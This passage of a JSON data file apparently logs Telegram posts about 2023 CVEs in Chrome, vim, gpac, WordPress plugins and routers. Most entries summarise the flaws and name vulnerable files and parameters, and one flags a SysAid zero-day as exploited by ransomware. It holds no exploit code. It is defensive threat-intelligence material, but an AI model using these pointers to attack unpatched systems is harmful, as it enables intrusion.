"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4763", "type": "seen", "source": "https://t.me/cibsecurity/69919", "content": "\u203c CVE-2023-4763 \u203c\n\nUse after free in Networks in Google Chrome prior to 116.0.5845.179 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-06T02:17:26.000000Z"}, {"uuid": "876da91a-8128-4edf-b491-e1deadfeb220", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4761", "type": "seen", "source": "https://t.me/cibsecurity/69917", "content": "\u203c CVE-2023-4761 \u203c\n\nOut of bounds memory access in FedCM in Google Chrome prior to 116.0.5845.179 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-06T02:17:24.000000Z"}, {"uuid": "97f3c245-1452-448d-90c3-21d9c297e417", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4762", "type": "seen", "source": "https://t.me/cibsecurity/69915", "content": "\u203c CVE-2023-4762 \u203c\n\nType Confusion in V8 in Google Chrome prior to 116.0.5845.179 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-06T02:17:23.000000Z"}, {"uuid": "24ae5bc0-8b46-4927-badb-06e48c76cf56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47191", "type": "seen", "source": "https://t.me/ctinow/157938", "content": "https://ift.tt/SMEFcPe\nCVE-2023-47191", "creation_timestamp": "2023-12-21T20:22:35.000000Z"}, {"uuid": "fbaa1a7b-ab79-412b-b925-5f45560578b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47454", "type": "seen", "source": "https://t.me/ctinow/157735", "content": "https://ift.tt/xUkDlCi\nCVE-2023-47454 | NetEase CloudMusic up to 2.10.4 on Windows urlmon.dll untrusted search path", "creation_timestamp": "2023-12-21T15:11:35.000000Z"}, {"uuid": "2bc5aced-37d8-41db-bc5f-8cf0939d56c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47307", "type": "seen", "source": "https://t.me/ctinow/157733", "content": "https://ift.tt/sMYlPhe\nCVE-2023-47307 | Shenzhen Libituo Technology LBT-T300-T310 2.2.2.6 /apply.cgi ApCliAuthMode buffer overflow", "creation_timestamp": "2023-12-21T15:11:33.000000Z"}, {"uuid": "902644ea-04ba-4425-8a50-16c67cc2bbb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47848", "type": "seen", "source": "https://t.me/ctinow/157633", "content": "https://ift.tt/EwCv2ZF\nCVE-2023-47848 | Tainacan Plugin up to 0.20.4 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T12:06:23.000000Z"}, {"uuid": "3401975b-a8a0-422d-8a73-a5a8fc633e2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47853", "type": "seen", "source": "https://t.me/ctinow/157632", "content": "https://ift.tt/mWU6fPS\nCVE-2023-47853 | myCred Points, Rewards, Gamification, Ranks, Badges &amp; Loyalty Plugin cross site scripting", "creation_timestamp": "2023-12-21T12:06:22.000000Z"}, {"uuid": "612ba7d6-6fa0-4c9f-929b-2fe88366a895", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47872", "type": "seen", "source": "https://t.me/ctinow/157631", "content": "https://ift.tt/VGzYhy8\nCVE-2023-47872 | gVectors wpForo Forum Plugin up to 2.2.3 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T12:06:21.000000Z"}, {"uuid": "311f92a3-0dcc-4547-8bcf-78dfef2baec6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47521", "type": "seen", "source": "https://t.me/ctinow/157630", "content": "https://ift.tt/vFZTkMj\nCVE-2023-47521 | Max Bond AndreSC Q2W3 Post Order Plugin up to 1.2.8 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T12:06:20.000000Z"}, {"uuid": "08caf9e5-3c13-4ad4-a0c5-cbb9b21203f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4752", "type": "seen", "source": "https://t.me/cibsecurity/69801", "content": "\u203c CVE-2023-4752 \u203c\n\nUse After Free in GitHub repository vim/vim prior to 9.0.1858.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T18:21:19.000000Z"}, {"uuid": "6b583fe5-246f-4055-bd02-72ccba7a7f56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47140", "type": "seen", "source": "https://t.me/ctinow/164198", "content": "https://ift.tt/niIdfkr\nCVE-2023-47140", "creation_timestamp": "2024-01-08T04:21:25.000000Z"}, {"uuid": "c1c679ba-966f-433a-801e-20d68d501d26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47081", "type": "seen", "source": "https://t.me/ctinow/164011", "content": "https://ift.tt/qhv0d8C\nCVE-2023-47081 | Adobe Substance 3D Stager up to 2.1.1 out-of-bounds (apsb23-73)", "creation_timestamp": "2024-01-06T20:31:59.000000Z"}, {"uuid": "f6699f6b-bf73-4ecb-bb43-ef2275286931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47080", "type": "seen", "source": "https://t.me/ctinow/164010", "content": "https://ift.tt/nL7MuZX\nCVE-2023-47080 | Adobe Substance 3D Stager up to 2.1.1 out-of-bounds (apsb23-73)", "creation_timestamp": "2024-01-06T20:31:56.000000Z"}, {"uuid": "cf51ad30-9bcb-4ed2-a9de-93bac98dcc88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4792", "type": "seen", "source": "https://t.me/cibsecurity/70045", "content": "\u203c CVE-2023-4792 \u203c\n\nThe Duplicate Post Page Menu &amp; Custom Post Type plugin for WordPress is vulnerable to unauthorized page and post duplication due to a missing capability check on the duplicate_ppmc_post_as_draft function in versions up to, and including, 2.3.1. This makes it possible for authenticated attackers with subscriber access or higher to duplicate posts and pages.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-07T07:18:19.000000Z"}, {"uuid": "2a2c4d61-b411-453d-b39a-1e73608c28e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4772", "type": "seen", "source": "https://t.me/cibsecurity/70044", "content": "\u203c CVE-2023-4772 \u203c\n\nThe Newsletter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'newsletter_form' shortcode in versions up to, and including, 7.8.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-07T07:18:18.000000Z"}, {"uuid": "28dc9558-ece3-4ac2-ba3f-a6e83d58ab50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47645", "type": "seen", "source": "https://t.me/ctinow/157310", "content": "https://ift.tt/MYlG3a0\nCVE-2023-47645 | RegistrationMagic Custom Registration Forms Plugin up to 5.2.2.6 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-20T21:18:37.000000Z"}, {"uuid": "f009a7f8-a2cf-47e9-9026-2aae558293b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4733", "type": "seen", "source": "https://t.me/cibsecurity/69800", "content": "\u203c CVE-2023-4733 \u203c\n\nUse After Free in GitHub repository vim/vim prior to 9.0.1840.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T18:21:18.000000Z"}, {"uuid": "ef803855-bc4f-402c-bcd4-f6854b2e77c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47525", "type": "seen", "source": "https://t.me/ctinow/157788", "content": "https://ift.tt/PCHMlOD\nCVE-2023-47525", "creation_timestamp": "2023-12-21T16:27:59.000000Z"}, {"uuid": "2e257038-096b-4457-b299-4b7f8500ecf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4755", "type": "seen", "source": "https://t.me/cibsecurity/69799", "content": "\u203c CVE-2023-4755 \u203c\n\nUse After Free in GitHub repository gpac/gpac prior to 2.3-DEV.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T18:21:17.000000Z"}, {"uuid": "089f6f6f-9d82-466c-b6b4-876b66821881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4770", "type": "seen", "source": "https://t.me/ctinow/157295", "content": "https://ift.tt/WLrbw9N\nCVE-2023-4770 | 4D.exe/4D Server.exe 19 R8 100218 shfolder.dll uncontrolled search path", "creation_timestamp": "2023-12-20T20:46:43.000000Z"}, {"uuid": "ec5be42e-78bb-4224-b95c-94fa421945be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47827", "type": "seen", "source": "https://t.me/ctinow/157294", "content": "https://ift.tt/fIe0kzx\nCVE-2023-47827 | NicheAddons Events Addon for Elementor Plugin up to 2.1.3 on WordPress authorization", "creation_timestamp": "2023-12-20T20:46:42.000000Z"}, {"uuid": "a3eda5fe-19b0-429d-beb2-9a41894a8764", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47990", "type": "seen", "source": "https://t.me/ctinow/157288", "content": "https://ift.tt/AvpnTRy\nCVE-2023-47990", "creation_timestamp": "2023-12-20T20:29:24.000000Z"}, {"uuid": "db49c8a6-c207-40a6-abbc-877737f318ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47876", "type": "seen", "source": "https://t.me/ctinow/157601", "content": "https://ift.tt/S5cluMA\nCVE-2023-47876 | Perfmatters Plugin up to 2.1.6 on WordPress cross site scripting", "creation_timestamp": "2023-12-21T11:07:57.000000Z"}, {"uuid": "8c909410-ac1f-4de9-bf1d-20d0e9a63a66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4724", "type": "seen", "source": "https://t.me/ctinow/157954", "content": "https://ift.tt/fFgvQRk\nCVE-2023-4724 Exploit", "creation_timestamp": "2023-12-21T21:16:40.000000Z"}, {"uuid": "74a2bf8d-7b20-41b0-b218-ababbedcc4ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47527", "type": "seen", "source": "https://t.me/ctinow/157789", "content": "https://ift.tt/KURBLJu\nCVE-2023-47527", "creation_timestamp": "2023-12-21T16:28:00.000000Z"}, {"uuid": "ac838fc9-339c-4c46-851a-181e7a63b12e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47452", "type": "seen", "source": "https://t.me/ctinow/157757", "content": "https://ift.tt/HtCxpad\nCVE-2023-47452 | NotePad++ 6.5 msimg32.dll untrusted search path", "creation_timestamp": "2023-12-21T15:42:31.000000Z"}, {"uuid": "89277e63-b914-4401-986f-65ff6f76a18c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47875", "type": "seen", "source": "https://t.me/ctinow/157562", "content": "https://ift.tt/l2MWTeU\nCVE-2023-47875 | Perfmatters Plugin up to 2.1.6 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-21T09:41:36.000000Z"}, {"uuid": "37c31e2a-a615-46f7-8fec-bf94bbe4ae2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47784", "type": "seen", "source": "https://t.me/ctinow/157287", "content": "https://ift.tt/fTB3j68\nCVE-2023-47784", "creation_timestamp": "2023-12-20T20:29:23.000000Z"}, {"uuid": "200fe0eb-aa5a-4e67-9af2-caa4f7721bf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4718", "type": "seen", "source": "https://t.me/cibsecurity/69699", "content": "\u203c CVE-2023-4718 \u203c\n\nThe Font Awesome 4 Menus plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'fa' and 'fa-stack' shortcodes in versions up to, and including, 4.7.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T07:14:19.000000Z"}, {"uuid": "c019e36c-ed0a-4b07-b6e8-58cd93930828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4704", "type": "seen", "source": "https://t.me/cibsecurity/69636", "content": "\u203c CVE-2023-4704 \u203c\n\nExternal Control of System or Configuration Setting in GitHub repository instantsoft/icms2 prior to 2.16.1-git.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T14:14:05.000000Z"}, {"uuid": "708a2881-4b72-4e67-9254-509981b1e232", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4758", "type": "seen", "source": "https://t.me/cibsecurity/69804", "content": "\u203c CVE-2023-4758 \u203c\n\nBuffer Over-read in GitHub repository gpac/gpac prior to 2.3-DEV.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T21:46:21.000000Z"}, {"uuid": "76a08c77-b57d-41d0-a71b-e911635ae189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4746", "type": "seen", "source": "https://t.me/cibsecurity/69735", "content": "\u203c CVE-2023-4746 \u203c\n\nA vulnerability classified as critical has been found in TOTOLINK N200RE V5 9.3.5u.6437_B20230519. This affects the function Validity_check. The manipulation leads to format string. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-238635.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T07:21:58.000000Z"}, {"uuid": "21c6fd82-2b42-4f91-b0f3-1eadc0446c90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4744", "type": "seen", "source": "https://t.me/cibsecurity/69736", "content": "\u203c CVE-2023-4744 \u203c\n\nA vulnerability was found in Tenda AC8 16.03.34.06_cn_TDC01. It has been declared as critical. Affected by this vulnerability is the function formSetDeviceName. The manipulation leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-238633 was assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T07:21:59.000000Z"}, {"uuid": "1d43a7a3-dc11-4f19-858d-a74e92dafa74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4745", "type": "seen", "source": "https://t.me/cibsecurity/69753", "content": "\u203c CVE-2023-4745 \u203c\n\nA vulnerability was found in Beijing Baichuo Smart S45F Multi-Service Secure Gateway Intelligent Management Platform up to 20230822. It has been rated as critical. Affected by this issue is some unknown functionality of the file /importexport.php. The manipulation leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-238634 is the identifier assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T07:22:25.000000Z"}, {"uuid": "341cb06b-15e4-4c46-8325-0e397fed07f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4740", "type": "seen", "source": "https://t.me/cibsecurity/69712", "content": "\u203c CVE-2023-4740 \u203c\n\nA vulnerability, which was classified as critical, was found in IBOS OA 4.5.5. This affects an unknown part of the file ?r=email/api/delDraft&amp;archiveId=0 of the component Delete Draft Handler. The manipulation leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-238629 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2024-02-02T07:45:40.000000Z"}, {"uuid": "9eefe921-7bd6-45e4-9c98-6cb9bd373211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4739", "type": "seen", "source": "https://t.me/cibsecurity/69713", "content": "\u203c CVE-2023-4739 \u203c\n\nA vulnerability, which was classified as critical, has been found in Beijing Baichuo Smart S85F Management Platform up to 20230820 on Smart. Affected by this issue is some unknown functionality of the file /sysmanage/updateos.php. The manipulation of the argument 1_file_upload leads to unrestricted upload. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-238628. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-04T00:15:42.000000Z"}, {"uuid": "37d0c753-e374-4bdc-bc9f-dc1c00038611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4751", "type": "seen", "source": "https://t.me/cibsecurity/69711", "content": "\u203c CVE-2023-4751 \u203c\n\nHeap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.1331.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-03T22:15:37.000000Z"}, {"uuid": "6ef16a75-3f2b-499d-8a2d-9e50c443f84e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4712", "type": "seen", "source": "https://t.me/cibsecurity/69698", "content": "\u203c CVE-2023-4712 \u203c\n\nA vulnerability, which was classified as critical, was found in Xintian Smart Table Integrated Management System 5.6.9. This affects an unknown part of the file /SysManage/AddUpdateRole.aspx. The manipulation of the argument txtRoleName leads to sql injection. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-238575. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T03:19:10.000000Z"}, {"uuid": "3e3b4a19-307f-4ad3-bcc4-f09fa13b8e21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4720", "type": "seen", "source": "https://t.me/cibsecurity/69661", "content": "\u203c CVE-2023-4720 \u203c\n\nFloating Point Comparison with Incorrect Operator in GitHub repository gpac/gpac prior to 2.3-DEV.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T20:15:11.000000Z"}, {"uuid": "a2f9ba3d-e587-41eb-bcce-b3b5c0a5c72d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4710", "type": "seen", "source": "https://t.me/cibsecurity/69695", "content": "\u203c CVE-2023-4710 \u203c\n\nA vulnerability classified as problematic was found in TOTVS RM 12.1. Affected by this vulnerability is an unknown functionality of the component Portal. The manipulation of the argument d leads to cross site scripting. The attack can be launched remotely. The identifier VDB-238573 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T00:14:11.000000Z"}, {"uuid": "0f0815d1-5dce-4b25-9c62-7c5993b80b7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4711", "type": "seen", "source": "https://t.me/cibsecurity/69693", "content": "\u203c CVE-2023-4711 \u203c\n\nA vulnerability, which was classified as critical, has been found in D-Link DAR-8000-10 up to 20230819. Affected by this issue is some unknown functionality of the file /log/decodmail.php. The manipulation of the argument file leads to os command injection. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. VDB-238574 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T00:14:08.000000Z"}, {"uuid": "57d37820-4ee1-4c99-9ecb-c477d6cc44c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4714", "type": "seen", "source": "https://t.me/cibsecurity/69692", "content": "\u203c CVE-2023-4714 \u203c\n\nA vulnerability was found in PlayTube 3.0.1 and classified as problematic. This issue affects some unknown processing of the component Redirect Handler. The manipulation leads to information disclosure. The attack may be initiated remotely. The identifier VDB-238577 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-02T00:14:06.000000Z"}, {"uuid": "ff74491a-6221-408d-9266-52d8eb7de288", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4713", "type": "seen", "source": "https://t.me/cibsecurity/69691", "content": "\u203c CVE-2023-4713 \u203c\n\nA vulnerability has been found in IBOS OA 4.5.5 and classified as critical. This vulnerability affects the function addComment of the file ?r=weibo/comment/addcomment. The manipulation of the argument touid leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-238576. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-03T03:35:54.000000Z"}, {"uuid": "078d6aab-f6ab-4339-8d5e-e16b5c2aee5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4708", "type": "seen", "source": "https://t.me/cibsecurity/69687", "content": "\u203c CVE-2023-4708 \u203c\n\nA vulnerability was found in Infosoftbd Clcknshop 1.0.0. It has been rated as critical. This issue affects some unknown processing of the file /collection/all of the component GET Parameter Handler. The manipulation of the argument tag leads to sql injection. The attack may be initiated remotely. The associated identifier of this vulnerability is VDB-238571. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T22:14:06.000000Z"}, {"uuid": "0719014b-997a-4d1f-bba1-65c68d6ecb07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4707", "type": "seen", "source": "https://t.me/cibsecurity/69683", "content": "\u203c CVE-2023-4707 \u203c\n\nA vulnerability was found in Infosoftbd Clcknshop 1.0.0. It has been declared as problematic. This vulnerability affects unknown code of the file /collection/all. The manipulation of the argument q leads to cross site scripting. The attack can be initiated remotely. VDB-238570 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T22:14:02.000000Z"}, {"uuid": "b5431edb-6c13-4289-9506-3c1dd4e9bf4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4709", "type": "seen", "source": "https://t.me/cibsecurity/69681", "content": "\u203c CVE-2023-4709 \u203c\n\nA vulnerability classified as problematic has been found in TOTVS RM 12.1. Affected is an unknown function of the file Login.aspx of the component Portal. The manipulation of the argument VIEWSTATE leads to cross site scripting. It is possible to launch the attack remotely. The identifier of this vulnerability is VDB-238572. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T22:14:00.000000Z"}, {"uuid": "382f37c3-44bd-460a-8eec-7ac93d706cfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4722", "type": "seen", "source": "https://t.me/cibsecurity/69674", "content": "\u203c CVE-2023-4722 \u203c\n\nInteger Overflow or Wraparound in GitHub repository gpac/gpac prior to 2.3-DEV.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T20:15:25.000000Z"}, {"uuid": "2221fe55-e6e4-48f6-b19f-be5814713491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4721", "type": "seen", "source": "https://t.me/cibsecurity/69672", "content": "\u203c CVE-2023-4721 \u203c\n\nOut-of-bounds Read in GitHub repository gpac/gpac prior to 2.3-DEV.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-01T20:15:23.000000Z"}, {"uuid": "32751b30-187f-4b43-86a6-eb6c2fe023c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/ZerodayAlert/85", "content": "", "creation_timestamp": "2026-07-06T11:00:15.179913Z"}, {"uuid": "104ee270-cd7f-4ee5-9eb1-56cdda4f6eed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/information_security_channel/50972", "content": "SysAid Zero-Day Vulnerability Exploited by Ransomware 